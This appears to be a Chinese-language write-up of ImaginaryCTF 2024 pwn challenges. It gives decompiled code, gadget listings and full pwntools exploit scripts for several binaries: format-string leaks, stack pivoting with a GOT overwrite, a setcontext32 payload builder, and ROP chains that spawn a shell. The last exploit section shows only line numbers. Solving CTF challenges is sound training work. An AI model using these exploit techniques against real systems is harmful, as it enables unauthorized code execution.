nyyyddddn

ImaginaryCTF

2024/08/01

pwn

imgstore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
unsigned __int64 sell_book()
{
char v1; // [rsp+7h] [rbp-59h] BYREF
int buf; // [rsp+8h] [rbp-58h] BYREF
int fd; // [rsp+Ch] [rbp-54h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
close(fd);
buf = (unsigned __int16)buf;
do
{
printf("Enter book title: ");
fgets(s, 50, stdin);
printf("Book title --> ");
printf(s);
puts(&::s);
if ( 334873123 * buf == dword_6050 )
{
dword_608C = 2;
sub_1D77(2);
}
puts("Sorry, we already have the same title as yours in our database; give me another book title.");
printf("Still interested in selling your book? [y/n]: ");
__isoc99_scanf("%1c", &v1);
getchar();
}
while ( v1 == 'y' );
puts(&::s);
printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
sleep(1u);
return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 __fastcall sub_1D77(int a1)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
sub_18F2();
if ( a1 == 2 )
{
printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
putchar(62);
fgets(s, 160, stdin);
}
else
{
printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
puts("[+] BAD HACKER!!");
}
return __readfsqword(0x28u) ^ v3;
}

程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


sla(">>","3")

# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)

ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")


payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)

ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")

payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)

time.sleep(0.3)

rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)




p.interactive()

ropity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
.text:0000000000401136                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136 public main
.text:0000000000401136 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s= byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136 F3 0F 1E FA endbr64
.text:000000000040113A 55 push rbp
.text:000000000040113B 48 89 E5 mov rbp, rsp
.text:000000000040113E 48 83 EC 10 sub rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets
.text:0000000000401155
.text:000000000040115A 90 nop
.text:000000000040115B C9 leave
.text:000000000040115C C3 retn
.text:000000000040115C ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D public printfile
.text:000000000040115D printfile proc near
.text:000000000040115D
.text:000000000040115D var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D F3 0F 1E FA endbr64
.text:0000000000401161 55 push rbp
.text:0000000000401162 48 89 E5 mov rbp, rsp
.text:0000000000401165 48 89 7D F8 mov [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00 mov rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00 mov rsi, 0 ; flags
.text:0000000000401177 0F 05 syscall ; LINUX - sys_open
.text:0000000000401179 48 89 C6 mov rsi, rax ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00 mov rdi, 1 ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00 mov rdx, 0 ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00 mov r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00 mov rax, 28h ; '('
.text:0000000000401198 0F 05 syscall ; LINUX - sys_sendfile
.text:000000000040119A 90 nop
.text:000000000040119B 5D pop rbp
.text:000000000040119C C3 retn
.text:000000000040119C ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C printfile endp
.text:000000000040119C

真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret

Unique gadgets found: 65

但是,细看会发现 fgets的rdi是可控的 因为取栈上的变量这个过程,实际上是通过 rbp - 一个正整数偏移去取的,如果能控制rbp,那 rdi的值就是可控的,如果将fgets的got修改成printfile,然后保证 rbp - 0x8的值是 ./flag字符串的地址,gadget这个问题不就解决了吗。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+8h] [rbp-8h] BYREF

return (unsigned int)fgets(s, 256, _bss_start);
}

.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets

首先需要栈迁移把栈迁移到已知 的地址上面的条件才能满足,第一次fgets 将rbp覆盖成 fgets_got + 0x8,然后调用 fgets,由于s的计算是通过rbp - 0x8,所以能直接将fgets_got覆盖,覆盖成printfile,然后再控制rbp,保证rbp - 0x8的值是flag最后调用fgets就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc
# libc = ELF('./libc.so.6')

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

print_file_func = 0x00000000040115D
fgets_func = 0x000000000401142
fgets_got = 0x404018

payload = b'a' * 0x8
payload += p64(fgets_got + 0x8) # rbp
payload += p64(fgets_func) # rbp - 0x8
sl(payload)


# int __cdecl main(int argc, const char **argv, const char **envp)
# {
# char s[8]; // [rsp+8h] [rbp-8h] BYREF

# return (unsigned int)fgets(s, 256, _bss_start);
# }

payload = p64(print_file_func) # 修改fgets的got为printf_file_func 来控制 rdi
payload += p64(0x404038) # rbp
payload += p64(fgets_func) # 0x404028
payload += b"./flag\x00"
# g(p)
sl(payload)

p.interactive()

onewrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("%p\n> ", &printf);
__isoc99_scanf("%p%*c", &s);
fgets(s, 768, stdin);
puts("bye");
return v6 - __readfsqword(0x28u);
}

有一次任意地址写大量数据的原语,还有libc的地址,看官方wp发现有个叫setcontent32的项目,只需要一次任意地址写的原语和知道libc的基地址,就可以通过这个项目生成payload去getshell https://hackmd.io/@pepsipu/SyqPbk94a

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()


libc.address = int(r(14),16) - libc.sym['printf']
dst, payload = setcontext32(libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__())

sl(hex(dst))
sl(payload)


p.interactive()

fermat

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
read(0, buf, 0x128uLL);
if ( strchr(buf, 'n') )
__assert_fail("strstr(buf, \"n\") == NULL", "vuln.c", 0xEu, "main");
printf(buf);
return 0;
}

有一个栈溢出,可以通过格式化字符串去泄露libc地址,然后再配合libc start main的magic gadget重启main函数,然后用libc中的gadget打rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()



payload = b'%39$p'.ljust(0x108,b'a') + b'\x89'
s(payload)

libc_base = int(r(14),16) - 0x29d1c - 0x6d
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000bab79


payload = b'a' * 0x108 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
s(payload)


# g(p)



p.interactive()

ictf-band

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
__int64 sub_2151()
{
int choice; // [rsp+Ch] [rbp-4h] BYREF

do
{
logo();
puts("[1]. Name a song.");
puts("[2]. Join the band.");
puts("[3]. Write lyrics.");
puts("[4]. Exit.");
printf(">> ");
__isoc99_scanf("%1d", &choice);
getchar();
if ( choice == 4 )
{
puts(byte_3080);
printf("\x1B[1;33m");
puts("Goodbye!");
printf("\x1B[0m");
}
else
{
if ( choice <= 4 )
{
switch ( choice )
{
case 3:
write_lyrics();
continue;
case 1:
name_a_song();
continue;
case 2:
join();
continue;
}
}
puts(byte_3080);
printf("\x1B[1;33m");
puts("[/] Invalid option..");
printf("\x1B[0m");
puts(byte_3080);
}
}
while ( choice != 4 );
return ext();
}

int write_lyrics()
{
char s[112]; // [rsp+110h] [rbp-70h] BYREF

puts(byte_3080);
sub_15AC();
printf("Show me what you got: ");
fgets(s, 100, stdin);
puts(byte_3080);
printf("\x1B[1;31m[+]\x1B[0m You are bad at making lyrics.. No hard feeling..");
return puts(byte_3080);
}

int sub_16E4()
{
int result; // eax
char ptr[52]; // [rsp+0h] [rbp-90h] BYREF
int v2; // [rsp+34h] [rbp-5Ch] BYREF
char v3; // [rsp+3Ah] [rbp-56h] BYREF
char v4; // [rsp+3Bh] [rbp-55h] BYREF
int v5; // [rsp+3Ch] [rbp-54h] BYREF
char nptr[52]; // [rsp+40h] [rbp-50h] BYREF
int v7; // [rsp+74h] [rbp-1Ch] BYREF
char s[8]; // [rsp+78h] [rbp-18h] BYREF
void *v9; // [rsp+80h] [rbp-10h]
int v10; // [rsp+88h] [rbp-8h]
int v11; // [rsp+8Ch] [rbp-4h]

sub_1474();
v11 = 1;
if ( dword_5160 == 5 )
{
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
return puts("Slot is full.");
}
else
{
puts("Hello there, give me your best idea for a song-name!");
puts("Before that, please choose at which slot you want to add your preferences.");
printf("Slot [1-5]: ");
__isoc99_scanf("%1d", &v7);
getchar();
if ( v7 <= 5 && v7 > 0
|| (puts("Only slot 1 - 5 available."),
puts("Anyway, how many ictf album you have?"),
printf("Album Count: "),
__isoc99_scanf("%99d", &v5),
getchar(),
v5 > 0) )
{
printf("Let's start by choosing the genre [jazz | pop | rock]: ");
fgets(s, 8, stdin);
printf("Now tell me the song title: ");
fgets(nptr, 50, stdin);
puts(byte_3080);
printf("\x1B[1;33m");
printf("[GENRE]: %s\n", s);
printf("[TITLE]: %s\n", nptr);
printf("\x1B[0m");
puts(byte_3080);
puts("I like it! Let's make it a hit!");
v10 = atoi(nptr);
v9 = malloc(v10);
if ( v9 )
{
if ( qword_50A0[v7] )
{
printf("\x1B[1;33m");
puts("[+] Machine Temp is high..");
printf("\x1B[0;31m");
puts("[#] Terminating Program.");
printf("\x1B[0m");
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
exit(0);
}
qword_50A0[v7] = v9;
dword_5120[v7] = v10;
}
printf("\x1B[1;33m");
puts("[+] Data saved!");
printf("\x1B[0m");
puts(byte_3080);
puts(byte_3080);
dword_5160 += v11;
result = dword_5160;
if ( dword_5160 == 5 )
{
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
return puts("Slot is now full.");
}
}
else
{
printf("Would you like to buy one or maybe more? [y/n]: ");
__isoc99_scanf("%c", &v4);
if ( v4 == 121 )
{
printf("The album should be pre-ordered. Tell us how many you want, we will contact you soon: ");
__isoc99_scanf("%d", &v2);
getchar();
printf("Tell us your e-mail: ");
fread(ptr, 1uLL, v2, stdin);
puts(byte_3080);
printf("\x1B[1;33m");
puts("[YOUR DATA] Please validate before continuing: ");
printf("\x1B[0m");
puts(ptr);
puts(byte_3080);
printf("It's verified [y/n]: ");
__isoc99_scanf("%c", &v3);
getchar();
if ( v3 != 121 )
{
printf("\x1B[1;33m");
puts("[+] Machine Temp is high..");
printf("\x1B[0;31m");
puts("[#] Terminating Program.");
printf("\x1B[0m");
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
exit(0);
}
printf("\x1B[1;35m");
puts("[@] Thank you for your order, we will contact you soon.");
return printf("\x1B[0m");
}
else
{
if ( v4 != 'n' )
{
printf("\x1B[1;33m");
puts("[+] Machine Temp is high..");
printf("\x1B[0;31m");
puts("[#] Terminating Program.");
printf("\x1B[0m");
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
putchar(46);
sleep(1u);
exit(0);
}
return puts("Alright then!");
}
}
}
return result;
}

int sub_1DC2()
{
puts(byte_3080);
sub_1510();
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
puts("Sorry, member registration is closed.");
printf("\x1B[1;31m");
printf(">> ");
printf("\x1B[0m");
puts("BUT, we're seeking a creative person for naming a song!");
return puts(byte_3080);
}

int sub_1E8B()
{
char ptr[208]; // [rsp+0h] [rbp-160h] BYREF
char s[60]; // [rsp+D0h] [rbp-90h] BYREF
unsigned int v3; // [rsp+10Ch] [rbp-54h] BYREF
char v4[40]; // [rsp+110h] [rbp-50h] BYREF
__int64 v5; // [rsp+138h] [rbp-28h]
__int64 v6; // [rsp+140h] [rbp-20h]
__int64 v7; // [rsp+148h] [rbp-18h]
__int64 v8; // [rsp+150h] [rbp-10h]
__int64 v9; // [rsp+158h] [rbp-8h]

puts(byte_3080);
print_data();
strcpy(v4, "Thank you for filling the questionnaire");
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
puts("\x1B[1;32m[+]\x1B[0m Anyway, we want to identify your persona.");
puts("[?] Kindly fill the questionnaire below [?]");
printf("Name: ");
fgets(s, 50, stdin);
printf("Age: ");
__isoc99_scanf("%d", &v3);
printf("Life background: ");
fread(ptr, 1uLL, (int)v3, stdin);
puts(byte_3080);
puts(byte_3080);
puts("======= YOUR DATA =======");
printf("Name: %s\n", s);
printf("Age: %d\n", v3);
printf("Life Background: %s\n", ptr);
puts(byte_3080);
printf("\x1B[1;33m");
puts("[+] Data saved!");
printf("\x1B[0m");
puts(byte_3080);
return printf("\x1B[1;32m>>\x1B[0m %s\n", v4);
}

程序的逻辑很简单,在ext函数中存在一个溢出,不过程序有pie,细看 ext会发现在输出的时候%s可以用来泄露栈上的数据,所以思路是泄露elf基地址后,利用残留的rdi寄存器 puts泄露libc地址,然后再打system binsh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
